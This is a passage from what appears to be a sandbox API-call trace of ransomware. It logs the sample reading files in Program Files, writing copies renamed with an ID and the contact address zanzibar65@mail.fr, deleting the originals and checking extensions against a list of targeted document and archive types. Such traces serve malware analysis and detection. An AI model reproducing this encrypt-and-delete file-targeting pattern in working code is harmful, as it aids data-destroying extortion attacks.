lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0036.367] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.367] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0036.367] GetLastError () returned 0x0 [0036.367] ReadFile (in: hFile=0x198, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x425, lpOverlapped=0x0) returned 1 [0036.398] WriteFile (in: hFile=0x178, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x430, lpOverlapped=0x0) returned 1 [0036.399] ReadFile (in: hFile=0x198, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0036.399] WriteFile (in: hFile=0x178, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0036.399] SetEndOfFile (hFile=0x178) returned 1 [0036.399] CloseHandle (hObject=0x178) returned 1 [0036.400] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.400] SetEndOfFile (hFile=0x198) returned 1 [0036.400] CloseHandle (hObject=0x198) returned 1 [0036.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0036.401] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 1 [0036.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0036.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0036.401] lstrlenW (lpString=".doc") returned 4 [0036.401] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0036.401] lstrlenW (lpString=".docx") returned 5 [0036.401] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0036.401] lstrlenW (lpString=".pdf") returned 4 [0036.401] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0036.401] lstrlenW (lpString=".xls") returned 4 [0036.401] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0036.401] lstrlenW (lpString=".xlsx") returned 5 [0036.401] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0036.401] lstrlenW (lpString=".ppt") returned 4 [0036.401] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0036.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0036.401] lstrlenW (lpString=".zip") returned 4 [0036.401] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0036.401] lstrlenW (lpString=".rar") returned 4 [0036.401] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0036.402] lstrlenW (lpString=".bz2") returned 4 [0036.402] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0036.402] lstrlenW (lpString=".7z") returned 3 [0036.402] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0036.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0036.402] lstrlenW (lpString=".dbf") returned 4 [0036.402] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0036.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0036.402] lstrlenW (lpString=".1cd") returned 4 [0036.402] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0036.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0036.402] lstrlenW (lpString=".jpg") returned 4 [0036.402] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0036.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0036.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0036.402] lstrlenW (lpString=".doc") returned 4 [0036.402] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0036.402] lstrlenW (lpString=".docx") returned 5 [0036.402] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0036.402] lstrlenW (lpString=".pdf") returned 4 [0036.402] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0036.402] lstrlenW (lpString=".xls") returned 4 [0036.402] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0036.402] lstrlenW (lpString=".xlsx") returned 5 [0036.402] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0036.402] lstrlenW (lpString=".ppt") returned 4 [0036.402] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0036.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0036.402] lstrlenW (lpString=".zip") returned 4 [0036.402] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0036.402] lstrlenW (lpString=".rar") returned 4 [0036.402] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0036.402] lstrlenW (lpString=".bz2") returned 4 [0036.402] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0036.403] lstrlenW (lpString=".7z") returned 3 [0036.403] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0036.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0036.403] lstrlenW (lpString=".dbf") returned 4 [0036.403] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0036.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0036.403] lstrlenW (lpString=".1cd") returned 4 [0036.403] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0036.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0036.403] lstrlenW (lpString=".jpg") returned 4 [0036.403] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0036.403] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0036.403] lstrlenW (lpString="Alphabet.xml") returned 12 [0036.403] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0036.405] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=791686) returned 1 [0036.405] CloseHandle (hObject=0x198) returned 1 [0036.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0036.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0036.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0036.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0036.406] lstrlenW (lpString=".doc") returned 4 [0036.406] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.406] lstrlenW (lpString=".docx") returned 5 [0036.406] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0036.406] lstrlenW (lpString=".pdf") returned 4 [0036.406] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.406] lstrlenW (lpString=".xls") returned 4 [0036.406] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.406] lstrlenW (lpString=".xlsx") returned 5 [0036.406] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0036.406] lstrlenW (lpString=".ppt") returned 4 [0036.406] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0036.406] lstrlenW (lpString=".zip") returned 4 [0036.406] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.406] lstrlenW (lpString=".rar") returned 4 [0036.406] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.406] lstrlenW (lpString=".bz2") returned 4 [0036.406] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.406] lstrlenW (lpString=".7z") returned 3 [0036.406] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0036.406] lstrlenW (lpString=".dbf") returned 4 [0036.406] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0036.406] lstrlenW (lpString=".1cd") returned 4 [0036.406] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0036.406] lstrlenW (lpString=".jpg") returned 4 [0036.407] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0036.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0036.407] lstrlenW (lpString=".doc") returned 4 [0036.407] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.407] lstrlenW (lpString=".docx") returned 5 [0036.407] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0036.407] lstrlenW (lpString=".pdf") returned 4 [0036.407] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.407] lstrlenW (lpString=".xls") returned 4 [0036.407] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.407] lstrlenW (lpString=".xlsx") returned 5 [0036.407] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0036.407] lstrlenW (lpString=".ppt") returned 4 [0036.407] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0036.407] lstrlenW (lpString=".zip") returned 4 [0036.407] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.407] lstrlenW (lpString=".rar") returned 4 [0036.407] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.407] lstrlenW (lpString=".bz2") returned 4 [0036.407] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.407] lstrlenW (lpString=".7z") returned 3 [0036.407] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0036.407] lstrlenW (lpString=".dbf") returned 4 [0036.407] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0036.407] lstrlenW (lpString=".1cd") returned 4 [0036.407] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0036.407] lstrlenW (lpString=".jpg") returned 4 [0036.407] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.408] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0036.408] lstrlenW (lpString="Content.xml") returned 11 [0036.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0036.408] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=27045) returned 1 [0036.408] CloseHandle (hObject=0x198) returned 1 [0036.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0036.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0036.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0036.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0036.408] lstrlenW (lpString=".doc") returned 4 [0036.409] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.409] lstrlenW (lpString=".docx") returned 5 [0036.409] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0036.409] lstrlenW (lpString=".pdf") returned 4 [0036.409] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.409] lstrlenW (lpString=".xls") returned 4 [0036.409] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.409] lstrlenW (lpString=".xlsx") returned 5 [0036.409] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0036.409] lstrlenW (lpString=".ppt") returned 4 [0036.409] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0036.409] lstrlenW (lpString=".zip") returned 4 [0036.409] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.409] lstrlenW (lpString=".rar") returned 4 [0036.409] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.409] lstrlenW (lpString=".bz2") returned 4 [0036.409] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.409] lstrlenW (lpString=".7z") returned 3 [0036.409] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0036.409] lstrlenW (lpString=".dbf") returned 4 [0036.409] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0036.409] lstrlenW (lpString=".1cd") returned 4 [0036.409] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0036.409] lstrlenW (lpString=".jpg") returned 4 [0036.409] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0036.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0036.409] lstrlenW (lpString=".doc") returned 4 [0036.409] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.410] lstrlenW (lpString=".docx") returned 5 [0036.410] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0036.410] lstrlenW (lpString=".pdf") returned 4 [0036.410] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.410] lstrlenW (lpString=".xls") returned 4 [0036.410] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.410] lstrlenW (lpString=".xlsx") returned 5 [0036.410] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0036.410] lstrlenW (lpString=".ppt") returned 4 [0036.410] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0036.410] lstrlenW (lpString=".zip") returned 4 [0036.410] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.410] lstrlenW (lpString=".rar") returned 4 [0036.410] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.410] lstrlenW (lpString=".bz2") returned 4 [0036.410] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.410] lstrlenW (lpString=".7z") returned 3 [0036.410] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0036.410] lstrlenW (lpString=".dbf") returned 4 [0036.410] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0036.410] lstrlenW (lpString=".1cd") returned 4 [0036.410] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0036.410] lstrlenW (lpString=".jpg") returned 4 [0036.410] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.410] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1 [0036.410] lstrlenW (lpString="boxed-correct.avi") returned 17 [0036.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0036.422] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=89600) returned 1 [0036.422] CloseHandle (hObject=0x198) returned 1 [0036.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0036.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0036.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0036.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0036.423] lstrlenW (lpString=".doc") returned 4 [0036.423] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0036.423] lstrlenW (lpString=".docx") returned 5 [0036.423] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0036.423] lstrlenW (lpString=".pdf") returned 4 [0036.423] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0036.423] lstrlenW (lpString=".xls") returned 4 [0036.423] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0036.423] lstrlenW (lpString=".xlsx") returned 5 [0036.423] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0036.423] lstrlenW (lpString=".ppt") returned 4 [0036.423] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0036.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0036.423] lstrlenW (lpString=".zip") returned 4 [0036.423] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0036.423] lstrlenW (lpString=".rar") returned 4 [0036.423] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0036.423] lstrlenW (lpString=".bz2") returned 4 [0036.423] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0036.423] lstrlenW (lpString=".7z") returned 3 [0036.423] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0036.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0036.423] lstrlenW (lpString=".dbf") returned 4 [0036.423] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0036.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0036.423] lstrlenW (lpString=".1cd") returned 4 [0036.423] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0036.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0036.423] lstrlenW (lpString=".jpg") returned 4 [0036.423] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0036.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0036.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0036.424] lstrlenW (lpString=".doc") returned 4 [0036.424] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0036.424] lstrlenW (lpString=".docx") returned 5 [0036.424] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0036.424] lstrlenW (lpString=".pdf") returned 4 [0036.424] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0036.424] lstrlenW (lpString=".xls") returned 4 [0036.424] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0036.424] lstrlenW (lpString=".xlsx") returned 5 [0036.424] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0036.424] lstrlenW (lpString=".ppt") returned 4 [0036.424] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0036.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0036.424] lstrlenW (lpString=".zip") returned 4 [0036.424] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0036.424] lstrlenW (lpString=".rar") returned 4 [0036.424] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0036.424] lstrlenW (lpString=".bz2") returned 4 [0036.424] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0036.424] lstrlenW (lpString=".7z") returned 3 [0036.424] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0036.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0036.424] lstrlenW (lpString=".dbf") returned 4 [0036.424] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0036.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0036.424] lstrlenW (lpString=".1cd") returned 4 [0036.424] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0036.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0036.424] lstrlenW (lpString=".jpg") returned 4 [0036.424] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0036.425] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1 [0036.425] lstrlenW (lpString="boxed-delete.avi") returned 16 [0036.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0036.425] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=31744) returned 1 [0036.426] CloseHandle (hObject=0x198) returned 1 [0036.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0036.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0036.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0036.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0036.426] lstrlenW (lpString=".doc") returned 4 [0036.426] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0036.426] lstrlenW (lpString=".docx") returned 5 [0036.426] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0036.426] lstrlenW (lpString=".pdf") returned 4 [0036.426] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 